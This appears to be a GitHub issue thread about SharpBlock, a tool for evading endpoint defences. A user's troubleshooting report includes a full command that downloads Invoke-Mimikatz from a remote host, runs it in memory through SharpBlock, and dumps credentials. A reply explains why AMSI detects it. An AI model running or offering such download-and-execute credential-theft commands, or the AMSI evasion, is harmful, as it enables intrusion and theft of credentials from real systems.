You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Your initial powershell is not running through SharpBlock, so AMSI is picking up on the Invoke-Mimikatz or the URL that you are passing on the command line.
Hi when i run the program with -a i get access denied, it works find if i run the programs separately.
SharpBlock.exe -e c:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -a "IEX (New-Object Net.WebClient).DownloadString('http://x.x.x.x/Invoke-Mimikatz.ps1');Invoke-Mimikatz -Command coffee;"
Running the powershell then calling the mimikatz works fine.
The text was updated successfully, but these errors were encountered: